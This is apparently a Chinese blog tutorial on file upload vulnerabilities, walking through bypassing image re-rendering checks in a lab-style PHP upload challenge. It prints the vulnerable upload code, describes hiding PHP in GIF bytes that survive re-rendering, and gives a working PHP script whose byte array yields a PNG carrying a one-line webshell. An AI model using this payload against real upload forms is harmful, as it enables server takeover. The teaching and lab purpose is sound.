文件上传漏洞

目录

1、原理

2、复现

[2.1 .gif文件上传](#2.1 .gif文件上传)

[2.2 png的上传](#2.2 png的上传)


1、原理

文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件,但是随着web中包含的功能越来越多,潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本,就会导致网站被其控制甚至会使其服务器沦陷,以至于引发恶意的网络安全事件。

文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。

2、复现

2.1 .gif文件上传

关于.gif 的源码

复制代码
else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

源码分析:我们可以看到fileext 和 filetype 是来判断是否为.gif 格式

使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败。

由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片。

1)首先准备一个.gif 文件将web.php 中的 <?php phpinfo(); ?>融合,如图所示我们将a.gif 文件与web.php 合成了一个b.gif

用使用16进制编辑器将b.gif打开,我们可以看到 phpinfo();

2)上传b.gif 文件,上传之后我们再次下载上传后的图像地址,

我们再次使用16进制打开,可以看到被渲染的图片里面已经没有 phpinfo();

3)关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。

然后我们包含一下,可以看到已经成功。

2.2 png的上传

1)首先创建一个php文件,在同一级目录下放一个1.png的图片

复制代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1111.png');
?>

然后运行此文件,的到1111.png

我们使用记事本打开此文件,有一句话木马

然后我们上传:

我们可以看到phpinfo(); 执行成功

相关推荐
阿噜噜小栈8 分钟前
最新国内可用的Docker镜像加速器地址收集
运维·笔记·docker·容器
zhuyixiangyyds8 小时前
day21和day22学习Pandas库
笔记·学习·pandas
jingjingjing11119 小时前
笔记:docker安装(ubuntu 20.04)
笔记·docker·容器
DreamBoy@10 小时前
【408--考研复习笔记】操作系统----知识点速览
笔记
UpUpUp……10 小时前
特殊类的设计/单例模式
开发语言·c++·笔记·单例模式
电星托马斯11 小时前
C++中顺序容器vector、list和deque的使用方法
linux·c语言·c++·windows·笔记·学习·程序人生
jingjingjing111111 小时前
笔记:代码随想录算法训练营day64:拓扑排序精讲、dijkstra(朴素版)精讲
笔记
jimmyleeee11 小时前
人工智能基础知识笔记七:随机变量的几种分布
人工智能·笔记·概率论
熬夜造bug12 小时前
LeetCode Hot100 刷题笔记(6)—— 栈、堆
笔记
对方正在长头发丿13 小时前
LETTERS(DFS)
c++·笔记·算法·深度优先·图论